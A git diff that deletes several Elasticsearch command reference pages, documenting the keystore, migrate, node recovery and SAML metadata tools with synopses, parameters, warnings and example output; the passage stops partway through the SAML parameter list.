diff --git a/docs/reference/commands/keystore.asciidoc b/docs/reference/commands/keystore.asciidoc
deleted file mode 100644
index b3d178a99b3..00000000000
--- a/docs/reference/commands/keystore.asciidoc
+++ /dev/null
@@ -1,233 +0,0 @@
-[[elasticsearch-keystore]]
-== elasticsearch-keystore
-
-The `elasticsearch-keystore` command manages <<secure-settings,secure settings>>
-in the {es} keystore.
-
-[discrete]
-[[elasticsearch-keystore-synopsis]]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-keystore
-([add <settings>] [-f] [--stdin] |
-[add-file (<setting> <path>)+] | [create] [-p] |
-[list] | [passwd] | [remove <setting>] | [upgrade])
-[-h, --help] ([-s, --silent] | [-v, --verbose])
---------------------------------------------------
-
-[discrete]
-[[elasticsearch-keystore-description]]
-=== Description
-
-IMPORTANT: This command should be run as the user that will run {es}.
-
-Currently, all secure settings are node-specific settings that must have the
-same value on every node. Therefore you must run this command on every node.
-
-When the keystore is password-protected, you must supply the password each time
-{es} starts.
-
-Modifications to the keystore do not take effect until you restart {es}.
-
-Only some settings are designed to be read from the keystore. However, there
-is no validation to block unsupported settings from the keystore and they can
-cause {es} to fail to start. To see whether a setting is supported in the
-keystore, see the setting reference.
-
-[discrete]
-[[elasticsearch-keystore-parameters]]
-=== Parameters
-
-`add <settings>`:: Adds settings to the keystore. Multiple setting names can be
-specified as arguments to the `add` command. By default, you are prompted for
-the values of the settings. If the keystore is password protected, you are also
-prompted to enter the password. If a setting already exists in the keystore, you
-must confirm that you want to overwrite the current value. If the keystore does
-not exist, you must confirm that you want to create a keystore. To avoid these
-two confirmation prompts, use the `-f` parameter.
-
-`add-file (<setting> <path>)+`:: Adds files to the keystore.
-
-`create`:: Creates the keystore.
-
-`-f, --force`:: When used with the `add` parameter, the command no longer prompts you
-before overwriting existing entries in the keystore. Also, if you haven't
-created a keystore yet, it creates a keystore that is obfuscated but not
-password protected.
-
-`-h, --help`:: Returns all of the command parameters.
-
-`list`:: Lists the settings in the keystore. If the keystore is password
-protected, you are prompted to enter the password.
-
-`-p`:: When used with the `create` parameter, the command prompts you to enter a
-keystore password. If you don't specify the `-p` flag or if you enter an empty
-password, the keystore is obfuscated but not password protected.
-
-`passwd`:: Changes or sets the keystore password. If the keystore is password
-protected, you are prompted to enter the current password and the new one. You
-can optionally use an empty string to remove the password. If the keystore is
-not password protected, you can use this command to set a password.
-
-`remove <settings>`:: Removes settings from the keystore. Multiple setting
-names can be specified as arguments to the `remove` command.
-
-`-s, --silent`:: Shows minimal output.
-
-`-x, --stdin`:: When used with the `add` parameter, you can pass the settings values
-through standard input (stdin). Separate multiple values with carriage returns
-or newlines. See <<add-string-to-keystore>>.
-
-`upgrade`:: Upgrades the internal format of the keystore.
-
-`-v, --verbose`:: Shows verbose output.
-
-[discrete]
-[[elasticsearch-keystore-examples]]
-=== Examples
-
-[discrete]
-[[creating-keystore]]
-==== Create the keystore
-
-To create the `elasticsearch.keystore`, use the `create` command:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore create -p
-----------------------------------------------------------------
-
-You are prompted to enter the keystore password. A password-protected
-`elasticsearch.keystore` file is created alongside the `elasticsearch.yml` file.
-
-[discrete]
-[[changing-keystore-password]]
-==== Change the password of the keystore
-
-To change the password of the `elasticsearch.keystore`, use the `passwd` command:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore passwd
-----------------------------------------------------------------
-
-If the {es} keystore is password protected, you are prompted to enter the
-current password and then enter the new one. If it is not password protected,
-you are prompted to set a password.
-
-[discrete]
-[[list-settings]]
-==== List settings in the keystore
-
-To list the settings in the keystore, use the `list` command.
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore list
-----------------------------------------------------------------
-
-If the {es} keystore is password protected, you are prompted to enter the
-password.
-
-[discrete]
-[[add-string-to-keystore]]
-==== Add settings to the keystore
-
-Sensitive string settings, like authentication credentials for Cloud plugins,
-can be added with the `add` command:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore add the.setting.name.to.set
-----------------------------------------------------------------
-
-You are prompted to enter the value of the setting. If the {es} keystore is
-password protected, you are also prompted to enter the password.
-
-You can also add multiple settings with the `add` command:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore add \
-  the.setting.name.to.set \
-  the.other.setting.name.to.set
-----------------------------------------------------------------
-
-You are prompted to enter the values of the settings. If the {es} keystore is
-password protected, you are also prompted to enter the password.
-
-To pass the settings values through standard input (stdin), use the `--stdin`
-flag:
-
-[source,sh]
-----------------------------------------------------------------
-cat /file/containing/setting/value | bin/elasticsearch-keystore add --stdin the.setting.name.to.set
-----------------------------------------------------------------
-
-Values for multiple settings must be separated by carriage returns or newlines.
-
-[discrete]
-[[add-file-to-keystore]]
-==== Add files to the keystore
-
-You can add sensitive files, like authentication key files for Cloud plugins,
-using the `add-file` command. Settings and file paths are specified in pairs
-consisting of `setting path`.
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore add-file the.setting.name.to.set /path/example-file.json
-----------------------------------------------------------------
-
-You can add multiple files with the `add-file` command:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore add-file \
-  the.setting.name.to.set /path/example-file.json \
-  the.other.setting.name.to.set /path/other-example-file.json
-----------------------------------------------------------------
-
-If the {es} keystore is password protected, you are prompted to enter the
-password.
-
-[discrete]
-[[remove-settings]]
-==== Remove settings from the keystore
-
-To remove a setting from the keystore, use the `remove` command:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore remove the.setting.name.to.remove
-----------------------------------------------------------------
-
-You can also remove multiple settings with the `remove` command:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore remove \
-  the.setting.name.to.remove \
-  the.other.setting.name.to.remove
-----------------------------------------------------------------
-
-If the {es} keystore is password protected, you are prompted to enter the
-password.
-
-[discrete]
-[[keystore-upgrade]]
-==== Upgrade the keystore
-
-Occasionally, the internal format of the keystore changes. When {es} is
-installed from a package manager, an upgrade of the on-disk keystore to the new
-format is done during package upgrade. In other cases, {es} performs the upgrade
-during node startup. This requires that {es} has write permissions to the
-directory that contains the keystore. Alternatively, you can manually perform
-such an upgrade by using the `upgrade` command:
-
-[source,sh]
-----------------------------------------------------------------
-bin/elasticsearch-keystore upgrade
-----------------------------------------------------------------
diff --git a/docs/reference/commands/migrate-tool.asciidoc b/docs/reference/commands/migrate-tool.asciidoc
deleted file mode 100644
index f4e4d5d403c..00000000000
--- a/docs/reference/commands/migrate-tool.asciidoc
+++ /dev/null
@@ -1,112 +0,0 @@
-[role="xpack"]
-[testenv="gold+"]
-[[migrate-tool]]
-== elasticsearch-migrate
-
-deprecated:[7.2.0, "This tool is deprecated. Use the native realm directly."]
-
-The `elasticsearch-migrate` command migrates existing file-based users and roles
-to the native realm. From 5.0 onward, you should use the `native` realm to
-manage roles and local users.
-
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-migrate
-(native (-U, --url <url>)
-[-h, --help] [-E <KeyValuePair>]
-[-n, --users <uids>] [-r, --roles <roles>]
-[-u, --username <uid>] [-p, --password <password>]
-[-s, --silent] [-v, --verbose])
---------------------------------------------------
-
-[discrete]
-=== Description
-
-NOTE: When migrating from Shield 2.x, the `elasticsearch-migrate` tool should be
-run prior to upgrading to ensure all roles can be migrated as some may be in a
-deprecated format that {xpack} cannot read. The `migrate` tool is available in
-Shield 2.4.0 and higher.
-
-The `elasticsearch-migrate` tool loads the existing file-based users and roles
-and calls the user and roles APIs to add them to the native realm. You can
-migrate all users and roles, or specify the ones you want to migrate. Users and
-roles that already exist in the `native` realm are not replaced or
-overridden. If the names you specify with the `--users` and `--roles` options
-don't exist in the `file` realm, they are skipped.
-
-[discrete]
-[[migrate-tool-options]]
-=== Parameters
-The `native` subcommand supports the following options:
-
-`-E <KeyValuePair>`::
-Configures a setting.
-
-`-h, --help`::
-Returns all of the command parameters.
-
-`-n`, `--users`::
-Comma-separated list of the users that you want to migrate. If this parameter is
-not specified, all users are migrated.
-
-`-p`, `--password`::
-Password to use for authentication with {es}.
-//TBD: What is the default if this isn't specified?
-
-`-r`, `--roles`::
-Comma-separated list of the roles that you want to migrate. If this parameter is
-not specified, all roles are migrated.
-
-`-s, --silent`:: Shows minimal output.
-
-`-U`, `--url`::
-Endpoint URL of the {es} cluster to which you want to migrate the
-file-based users and roles. This parameter is required.
-
-`-u`, `--username`::
-Username to use for authentication with {es}.
-//TBD: What is the default if this isn't specified?
-
-`-v, --verbose`:: Shows verbose output.
-
-[discrete]
-=== Examples
-
-Run the `elasticsearch-migrate` tool when {xpack} is installed. For example:
-
-[source, sh]
-----------------------------------------------------------------------
-$ bin/elasticsearch-migrate native -U http://localhost:9200 -u elastic
--p x-pack-test-password -n lee,foo -r role1,role2,role3,role4,foo
-starting migration of users and roles...
-importing users from [/home/es/config/shield/users]...
-found existing users: [test_user, joe3, joe2]
-migrating user [lee]
-{"user":{"created":true}}
-no user [foo] found, skipping
-importing roles from [/home/es/config/shield/roles.yml]...
-found existing roles: [marvel_user, role_query_fields, admin_role, role3, admin,
-remote_marvel_agent, power_user, role_new_format_name_array, role_run_as,
-logstash, role_fields, role_run_as1, role_new_format, kibana4_server, user,
-transport_client, role1.ab, role_query]
-migrating role [role1]
-{"role":{"created":true}}
-migrating role [role2]
-{"role":{"created":true}}
-role [role3] already exists, skipping
-no role [foo] found, skipping
-users and roles imported.
-----------------------------------------------------------------------
-
-Additionally, the `-E` flag can be used to specify additional settings. For example
-to specify a different configuration directory, the command would look like:
-
-[source, sh]
-----------------------------------------------------------------------
-$ bin/elasticsearch-migrate native -U http://localhost:9200 -u elastic
--p x-pack-test-password -E path.conf=/etc/elasticsearch
-----------------------------------------------------------------------
diff --git a/docs/reference/commands/node-tool.asciidoc b/docs/reference/commands/node-tool.asciidoc
deleted file mode 100644
index 78bae263986..00000000000
--- a/docs/reference/commands/node-tool.asciidoc
+++ /dev/null
@@ -1,592 +0,0 @@
-[[node-tool]]
-== elasticsearch-node
-
-The `elasticsearch-node` command enables you to perform certain unsafe
-operations on a node that are only possible while it is shut down. This command
-allows you to adjust the <<modules-node,role>> of a node, unsafely edit cluster
-settings and may be able to recover some data after a disaster or start a node
-even if it is incompatible with the data on disk.
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-node repurpose|unsafe-bootstrap|detach-cluster|override-version
-  [--ordinal <Integer>] [-E <KeyValuePair>]
-  [-h, --help] ([-s, --silent] | [-v, --verbose])
---------------------------------------------------
-
-[discrete]
-=== Description
-
-This tool has a number of modes:
-
-* `elasticsearch-node repurpose` can be used to delete unwanted data from a
-  node if it used to be a <<data-node,data node>> or a
-  <<master-node,master-eligible node>> but has been repurposed not to have one
-  or other of these roles.
-
-* `elasticsearch-node remove-settings` can be used to remove persistent settings
-  from the cluster state in case where it contains incompatible settings that
-  prevent the cluster from forming.
-
-* `elasticsearch-node remove-customs` can be used to remove custom metadata
-  from the cluster state in case where it contains broken metadata that
-  prevents the cluster state from being loaded.
-
-* `elasticsearch-node unsafe-bootstrap` can be used to perform _unsafe cluster
-  bootstrapping_.  It forces one of the nodes to form a brand-new cluster on
-  its own, using its local copy of the cluster metadata.
-
-* `elasticsearch-node detach-cluster` enables you to move nodes from one
-  cluster to another.  This can be used to move nodes into a new cluster
-  created with the `elasticsearch-node unsafe-bootstrap` command. If unsafe
-  cluster bootstrapping was not possible, it also enables you to move nodes
-  into a brand-new cluster.
-
-* `elasticsearch-node override-version` enables you to start up a node
-  even if the data in the data path was written by an incompatible version of
-  {es}. This may sometimes allow you to downgrade to an earlier version of
-  {es}.
-
-[[node-tool-repurpose]]
-[discrete]
-==== Changing the role of a node
-
-There may be situations where you want to repurpose a node without following
-the <<change-node-role,proper repurposing processes>>. The `elasticsearch-node
-repurpose` tool allows you to delete any excess on-disk data and start a node
-after repurposing it.
-
-The intended use is:
-
-* Stop the node
-* Update `elasticsearch.yml` by setting `node.roles` as desired.
-* Run `elasticsearch-node repurpose` on the node
-* Start the node
-
-If you run `elasticsearch-node repurpose` on a node without the `data` role and
-with the `master` role then it will delete any remaining shard data on that
-node, but it will leave the index and cluster metadata alone. If you run
-`elasticsearch-node repurpose` on a node without the `data` and `master` roles
-then it will delete any remaining shard data and index metadata, but it will
-leave the cluster metadata alone.
-
-[WARNING]
-Running this command can lead to data loss for the indices mentioned if the
-data contained is not available on other nodes in the cluster. Only run this
-tool if you understand and accept the possible consequences, and only after
-determining that the node cannot be repurposed cleanly.
-
-The tool provides a summary of the data to be deleted and asks for confirmation
-before making any changes. You can get detailed information about the affected
-indices and shards by passing the verbose (`-v`) option.
-
-[discrete]
-==== Removing persistent cluster settings
-
-There may be situations where a node contains persistent cluster
-settings that prevent the cluster from forming. Since the cluster cannot form,
-it is not possible to remove these settings using the
-<<cluster-update-settings>> API.
-
-The `elasticsearch-node remove-settings` tool allows you to forcefully remove
-those persistent settings from the on-disk cluster state. The tool takes a
-list of settings as parameters that should be removed, and also supports
-wildcard patterns.
-
-The intended use is:
-
-* Stop the node
-* Run `elasticsearch-node remove-settings name-of-setting-to-remove` on the node
-* Repeat for all other master-eligible nodes
-* Start the nodes
-
-[discrete]
-==== Removing custom metadata from the cluster state
-
-There may be situations where a node contains custom metadata, typically
-provided by plugins, that prevent the node from starting up and loading
-the cluster from disk.
-
-The `elasticsearch-node remove-customs` tool allows you to forcefully remove
-the problematic custom metadata. The tool takes a list of custom metadata names
-as parameters that should be removed, and also supports wildcard patterns.
-
-The intended use is:
-
-* Stop the node
-* Run `elasticsearch-node remove-customs name-of-custom-to-remove` on the node
-* Repeat for all other master-eligible nodes
-* Start the nodes
-
-[discrete]
-==== Recovering data after a disaster
-
-Sometimes {es} nodes are temporarily stopped, perhaps because of the need to
-perform some maintenance activity or perhaps because of a hardware failure.
-After you resolve the temporary condition and restart the node,
-it will rejoin the cluster and continue normally. Depending on your
-configuration, your cluster may be able to remain completely available even
-while one or more of its nodes are stopped.
-
-Sometimes it might not be possible to restart a node after it has stopped. For
-example, the node's host may suffer from a hardware problem that cannot be
-repaired. If the cluster is still available then you can start up a fresh node
-on another host and {es} will bring this node into the cluster in place of the
-failed node.
-
-Each node stores its data in the data directories defined by the
-<<path-settings,`path.data` setting>>. This means that in a disaster you can
-also restart a node by moving its data directories to another host, presuming
-that those data directories can be recovered from the faulty host.
-
-{es} <<modules-discovery-quorums,requires a response from a majority of the
-master-eligible nodes>> in order to elect a master and to update the cluster
-state. This means that if you have three master-eligible nodes then the cluster
-will remain available even if one of them has failed. However if two of the
-three master-eligible nodes fail then the cluster will be unavailable until at
-least one of them is restarted.
-
-In very rare circumstances it may not be possible to restart enough nodes to
-restore the cluster's availability. If such a disaster occurs, you should
-build a new cluster from a recent snapshot and re-import any data that was
-ingested since that snapshot was taken.
-
-However, if the disaster is serious enough then it may not be possible to
-recover from a recent snapshot either. Unfortunately in this case there is no
-way forward that does not risk data loss, but it may be possible to use the
-`elasticsearch-node` tool to construct a new cluster that contains some of the
-data from the failed cluster.
-
-[[node-tool-override-version]]
-[discrete]
-==== Bypassing version checks
-
-The data that {es} writes to disk is designed to be read by the current version
-and a limited set of future versions. It cannot generally be read by older
-versions, nor by versions that are more than one major version newer. The data
-stored on disk includes the version of the node that wrote it, and {es} checks
-that it is compatible with this version when starting up.
-
-In rare circumstances it may be desirable to bypass this check and start up an
-{es} node using data that was written by an incompatible version. This may not
-work if the format of the stored data has changed, and it is a risky process
-because it is possible for the format to change in ways that {es} may
-misinterpret, silently leading to data loss.
-
-To bypass this check, you can use the `elasticsearch-node override-version`
-tool to overwrite the version number stored in the data path with the current
-version, causing {es} to believe that it is compatible with the on-disk data.
-
-[[node-tool-unsafe-bootstrap]]
-[discrete]
-===== Unsafe cluster bootstrapping
-
-If there is at least one remaining master-eligible node, but it is not possible
-to restart a majority of them, then the `elasticsearch-node unsafe-bootstrap`
-command will unsafely override the cluster's <<modules-discovery-voting,voting
-configuration>> as if performing another
-<<modules-discovery-bootstrap-cluster,cluster bootstrapping process>>.
-The target node can then form a new cluster on its own by using
-the cluster metadata held locally on the target node.
-
-[WARNING]
-These steps can lead to arbitrary data loss since the target node may not hold the latest cluster
-metadata, and this out-of-date metadata may make it impossible to use some or
-all of the indices in the cluster.
-
-Since unsafe bootstrapping forms a new cluster containing a single node, once
-you have run it you must use the <<node-tool-detach-cluster,`elasticsearch-node
-detach-cluster` tool>> to migrate any other surviving nodes from the failed
-cluster into this new cluster.
-
-When you run the `elasticsearch-node unsafe-bootstrap` tool it will analyse the
-state of the node and ask for confirmation before taking any action. Before
-asking for confirmation it reports the term and version of the cluster state on
-the node on which it runs as follows:
-
-[source,txt]
-----
-Current node cluster state (term, version) pair is (4, 12)
-----
-
-If you have a choice of nodes on which to run this tool then you should choose
-one with a term that is as large as possible. If there is more than one
-node with the same term, pick the one with the largest version.
-This information identifies the node with the freshest cluster state, which minimizes the
-quantity of data that might be lost. For example, if the first node reports
-`(4, 12)` and a second node reports `(5, 3)`, then the second node is preferred
-since its term is larger.  However if the second node reports `(3, 17)` then
-the first node is preferred since its term is larger. If the second node
-reports `(4, 10)` then it has the same term as the first node, but has a
-smaller version, so the first node is preferred.
-
-[WARNING]
-Running this command can lead to arbitrary data loss. Only run this tool if you
-understand and accept the possible consequences and have exhausted all other
-possibilities for recovery of your cluster.
-
-The sequence of operations for using this tool are as follows:
-
-1. Make sure you have really lost access to at least half of the
-master-eligible nodes in the cluster, and they cannot be repaired or recovered
-by moving their data paths to healthy hardware.
-2. Stop **all** remaining nodes.
-3. Choose one of the remaining master-eligible nodes to become the new elected
-master as described above.
-4. On this node, run the `elasticsearch-node unsafe-bootstrap` command as shown
-below. Verify that the tool reported `Master node was successfully
-bootstrapped`.
-5. Start this node and verify that it is elected as the master node.
-6. Run the <<node-tool-detach-cluster,`elasticsearch-node detach-cluster`
-tool>>, described below, on every other node in the cluster.
-7. Start all other nodes and verify that each one joins the cluster.
-8. Investigate the data in the cluster to discover if any was lost during this
-process.
-
-When you run the tool it will make sure that the node that is being used to
-bootstrap the cluster is not running. It is important that all other
-master-eligible nodes are also stopped while this tool is running, but the tool
-does not check this.
-
-The message `Master node was successfully bootstrapped` does not mean that
-there has been no data loss, it just means that tool was able to complete its
-job.
-
-[[node-tool-detach-cluster]]
-[discrete]
-===== Detaching nodes from their cluster
-
-It is unsafe for nodes to move between clusters, because different clusters
-have completely different cluster metadata. There is no way to safely merge the
-metadata from two clusters together.
-
-To protect against inadvertently joining the wrong cluster, each cluster
-creates a unique identifier, known as the _cluster UUID_, when it first starts
-up. Every node records the UUID of its cluster and refuses to join a
-cluster with a different UUID.
-
-However, if a node's cluster has permanently failed then it may be desirable to
-try and move it into a new cluster. The `elasticsearch-node detach-cluster`
-command lets you detach a node from its cluster by resetting its cluster UUID.
-It can then join another cluster with a different UUID.
-
-For example, after unsafe cluster bootstrapping you will need to detach all the
-other surviving nodes from their old cluster so they can join the new,
-unsafely-bootstrapped cluster.
-
-Unsafe cluster bootstrapping is only possible if there is at least one
-surviving master-eligible node. If there are no remaining master-eligible nodes
-then the cluster metadata is completely lost. However, the individual data
-nodes also contain a copy of the index metadata corresponding with their
-shards. This sometimes allows a new cluster to import these shards as
-<<modules-gateway-dangling-indices,dangling indices>>. You can sometimes
-recover some indices after the loss of all master-eligible nodes in a cluster
-by creating a new cluster and then using the `elasticsearch-node
-detach-cluster` command to move any surviving nodes into this new cluster.
-
-There is a risk of data loss when importing a dangling index because data nodes
-may not have the most recent copy of the index metadata and do not have any
-information about <<docs-replication,which shard copies are in-sync>>. This
-means that a stale shard copy may be selected to be the primary, and some of
-the shards may be incompatible with the imported mapping.
-
-[WARNING]
-Execution of this command can lead to arbitrary data loss. Only run this tool
-if you understand and accept the possible consequences and have exhausted all
-other possibilities for recovery of your cluster.
-
-The sequence of operations for using this tool are as follows:
-
-1. Make sure you have really lost access to every one of the master-eligible
-nodes in the cluster, and they cannot be repaired or recovered by moving their
-data paths to healthy hardware.
-2. Start a new cluster and verify that it is healthy. This cluster may comprise
-one or more brand-new master-eligible nodes, or may be an unsafely-bootstrapped
-cluster formed as described above.
-3. Stop **all** remaining data nodes.
-4. On each data node, run the `elasticsearch-node detach-cluster` tool as shown
-below. Verify that the tool reported `Node was successfully detached from the
-cluster`.
-5. If necessary, configure each data node to
-<<modules-discovery-hosts-providers,discover the new cluster>>.
-6. Start each data node and verify that it has joined the new cluster.
-7. Wait for all recoveries to have completed, and investigate the data in the
-cluster to discover if any was lost during this process.
-
-The message `Node was successfully detached from the cluster` does not mean
-that there has been no data loss, it just means that tool was able to complete
-its job.
-
-
-[discrete]
-[[node-tool-parameters]]
-=== Parameters
-
-`repurpose`:: Delete excess data when a node's roles are changed.
-
-`unsafe-bootstrap`:: Specifies to unsafely bootstrap this node as a new
-one-node cluster.
-
-`detach-cluster`:: Specifies to unsafely detach this node from its cluster so
-it can join a different cluster.
-
-`override-version`:: Overwrites the version number stored in the data path so
-that a node can start despite being incompatible with the on-disk data.
-
-`remove-settings`:: Forcefully removes the provided persistent cluster settings
-from the on-disk cluster state.
-
-`--ordinal <Integer>`:: If there is <<max-local-storage-nodes,more than one
-node sharing a data path>> then this specifies which node to target. Defaults
-to `0`, meaning to use the first node in the data path.
-
-`-E <KeyValuePair>`:: Configures a setting.
-
-`-h, --help`:: Returns all of the command parameters.
-
-`-s, --silent`:: Shows minimal output.
-
-`-v, --verbose`:: Shows verbose output.
-
-[discrete]
-=== Examples
-
-[discrete]
-==== Repurposing a node as a dedicated master node
-
-In this example, a former data node is repurposed as a dedicated master node.
-First update the node's settings to `node.roles: [ "master" ]` in its
-`elasticsearch.yml` config file. Then run the `elasticsearch-node repurpose`
-command to find and remove excess shard data:
-
-[source,txt]
-----
-node$ ./bin/elasticsearch-node repurpose
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-Found 2 shards in 2 indices to clean up
-Use -v to see list of paths and indices affected
-Node is being re-purposed as master and no-data. Clean-up of shard data will be performed.
-Do you want to proceed?
-Confirm [y/N] y
-Node successfully repurposed to master and no-data.
-----
-
-[discrete]
-==== Repurposing a node as a coordinating-only node
-
-In this example, a node that previously held data is repurposed as a
-coordinating-only node. First update the node's settings to `node.roles: []` in
-its `elasticsearch.yml` config file. Then run the `elasticsearch-node repurpose`
-command to find and remove excess shard data and index metadata:
-
-
-[source,txt]
-----
-node$./bin/elasticsearch-node repurpose
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-Found 2 indices (2 shards and 2 index meta data) to clean up
-Use -v to see list of paths and indices affected
-Node is being re-purposed as no-master and no-data. Clean-up of index data will be performed.
-Do you want to proceed?
-Confirm [y/N] y
-Node successfully repurposed to no-master and no-data.
-----
-
-[discrete]
-==== Removing persistent cluster settings
-
-If your nodes contain persistent cluster settings that prevent the cluster
-from forming, i.e., can't be removed using the <<cluster-update-settings>> API,
-you can run the following commands to remove one or more cluster settings.
-
-[source,txt]
-----
-node$ ./bin/elasticsearch-node remove-settings xpack.monitoring.exporters.my_exporter.host
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-The following settings will be removed:
-xpack.monitoring.exporters.my_exporter.host: "10.1.2.3"
-
-You should only run this tool if you have incompatible settings in the
-cluster state that prevent the cluster from forming.
-This tool can cause data loss and its use should be your last resort.
-
-Do you want to proceed?
-
-Confirm [y/N] y
-
-Settings were successfully removed from the cluster state
-----
-
-You can also use wildcards to remove multiple settings, for example using
-
-[source,txt]
-----
-node$ ./bin/elasticsearch-node remove-settings xpack.monitoring.*
-----
-
-[discrete]
-==== Removing custom metadata from the cluster state
-
-If the on-disk cluster state contains custom metadata that prevents the node
-from starting up and loading the cluster state, you can run the following
-commands to remove this custom metadata.
-
-[source,txt]
-----
-node$ ./bin/elasticsearch-node remove-customs snapshot_lifecycle
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-The following customs will be removed:
-snapshot_lifecycle
-
-You should only run this tool if you have broken custom metadata in the
-cluster state that prevents the cluster state from being loaded.
-This tool can cause data loss and its use should be your last resort.
-
-Do you want to proceed?
-
-Confirm [y/N] y
-
-Customs were successfully removed from the cluster state
-----
-
-[discrete]
-==== Unsafe cluster bootstrapping
-
-Suppose your cluster had five master-eligible nodes and you have permanently
-lost three of them, leaving two nodes remaining.
-
-* Run the tool on the first remaining node, but answer `n` at the confirmation
-  step.
-
-[source,txt]
-----
-node_1$ ./bin/elasticsearch-node unsafe-bootstrap
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-Current node cluster state (term, version) pair is (4, 12)
-
-You should only run this tool if you have permanently lost half or more
-of the master-eligible nodes in this cluster, and you cannot restore the
-cluster from a snapshot. This tool can cause arbitrary data loss and its
-use should be your last resort. If you have multiple surviving master
-eligible nodes, you should run this tool on the node with the highest
-cluster state (term, version) pair.
-
-Do you want to proceed?
-
-Confirm [y/N] n
-----
-
-* Run the tool on the second remaining node, and again answer `n` at the
-  confirmation step.
-
-[source,txt]
-----
-node_2$ ./bin/elasticsearch-node unsafe-bootstrap
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-Current node cluster state (term, version) pair is (5, 3)
-
-You should only run this tool if you have permanently lost half or more
-of the master-eligible nodes in this cluster, and you cannot restore the
-cluster from a snapshot. This tool can cause arbitrary data loss and its
-use should be your last resort. If you have multiple surviving master
-eligible nodes, you should run this tool on the node with the highest
-cluster state (term, version) pair.
-
-Do you want to proceed?
-
-Confirm [y/N] n
-----
-
-* Since the second node has a greater term it has a fresher cluster state, so
-  it is better to unsafely bootstrap the cluster using this node:
-
-[source,txt]
-----
-node_2$ ./bin/elasticsearch-node unsafe-bootstrap
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-Current node cluster state (term, version) pair is (5, 3)
-
-You should only run this tool if you have permanently lost half or more
-of the master-eligible nodes in this cluster, and you cannot restore the
-cluster from a snapshot. This tool can cause arbitrary data loss and its
-use should be your last resort. If you have multiple surviving master
-eligible nodes, you should run this tool on the node with the highest
-cluster state (term, version) pair.
-
-Do you want to proceed?
-
-Confirm [y/N] y
-Master node was successfully bootstrapped
-----
-
-[discrete]
-==== Detaching nodes from their cluster
-
-After unsafely bootstrapping a new cluster, run the `elasticsearch-node
-detach-cluster` command to detach all remaining nodes from the failed cluster
-so they can join the new cluster:
-
-[source, txt]
-----
-node_3$ ./bin/elasticsearch-node detach-cluster
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-You should only run this tool if you have permanently lost all of the
-master-eligible nodes in this cluster and you cannot restore the cluster
-from a snapshot, or you have already unsafely bootstrapped a new cluster
-by running `elasticsearch-node unsafe-bootstrap` on a master-eligible
-node that belonged to the same cluster as this node. This tool can cause
-arbitrary data loss and its use should be your last resort.
-
-Do you want to proceed?
-
-Confirm [y/N] y
-Node was successfully detached from the cluster
-----
-
-[discrete]
-==== Bypassing version checks
-
-Run the `elasticsearch-node override-version` command to overwrite the version
-stored in the data path so that a node can start despite being incompatible
-with the data stored in the data path:
-
-[source, txt]
-----
-node$ ./bin/elasticsearch-node override-version
-
-    WARNING: Elasticsearch MUST be stopped before running this tool.
-
-This data path was last written by Elasticsearch version [x.x.x] and may no
-longer be compatible with Elasticsearch version [y.y.y]. This tool will bypass
-this compatibility check, allowing a version [y.y.y] node to start on this data
-path, but a version [y.y.y] node may not be able to read this data or may read
-it incorrectly leading to data loss.
-
-You should not use this tool. Instead, continue to use a version [x.x.x] node
-on this data path. If necessary, you can use reindex-from-remote to copy the
-data from here into an older cluster.
-
-Do you want to proceed?
-
-Confirm [y/N] y
-Successfully overwrote this node's metadata to bypass its version compatibility checks.
-----
diff --git a/docs/reference/commands/saml-metadata.asciidoc b/docs/reference/commands/saml-metadata.asciidoc
deleted file mode 100644
index 9c6f2133be9..00000000000
--- a/docs/reference/commands/saml-metadata.asciidoc
+++ /dev/null
@@ -1,138 +0,0 @@
-[role="xpack"]
-[testenv="gold+"]
-[[saml-metadata]]
-== elasticsearch-saml-metadata
-
-The `elasticsearch-saml-metadata` command can be used to generate a SAML 2.0 Service
-Provider Metadata file.
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-saml-metadata
-[--realm <name>]
-[--out <file_path>] [--batch] 
-[--attribute <name>] [--service-name <name>]
-[--locale <name>] [--contacts]
-([--organisation-name <name>] [--organisation-display-name <name>] [--organisation-url <url>])
-([--signing-bundle <file_path>] | [--signing-cert <file_path>][--signing-key <file_path>])
-[--signing-key-password <password>]
-[-E <KeyValuePair>]
-[-h, --help] ([-s, --silent] | [-v, --verbose])
---------------------------------------------------
-
-[discrete]
-=== Description
-
-The SAML 2.0 specification provides a mechanism for Service Providers to
-describe their capabilities and configuration using a _metadata file_.
-
-The `elasticsearch-saml-metadata` command generates such a file, based on the
-configuration of a SAML realm in {es}.
-
-Some SAML Identity Providers will allow you to automatically import a metadata
-file when you configure the Elastic Stack as a Service Provider.
-
-You can optionally select to digitally sign the metadata file in order to
-ensure its integrity and authenticity before sharing it with the Identity Provider.
-The key used for signing the metadata file need not necessarily be the same as
-the keys already used in the saml realm configuration for SAML message signing.
-
-If your {es} keystore is password protected, you
-are prompted to enter the password when you run the
-`elasticsearch-saml-metadata` command.
-
-[discrete]
-[[saml-metadata-parameters]]
-=== Parameters
-
-`--attribute <name>`:: Specifies a SAML attribute that should be
-included as a `<RequestedAttribute>` element in the metadata. Any attribute
-configured in the {es} realm is automatically included and does not need to be
-specified as a commandline option.
-
-`--batch`:: Do not prompt for user input.
-
-`--contacts`:: Specifies that the metadata should include one or more
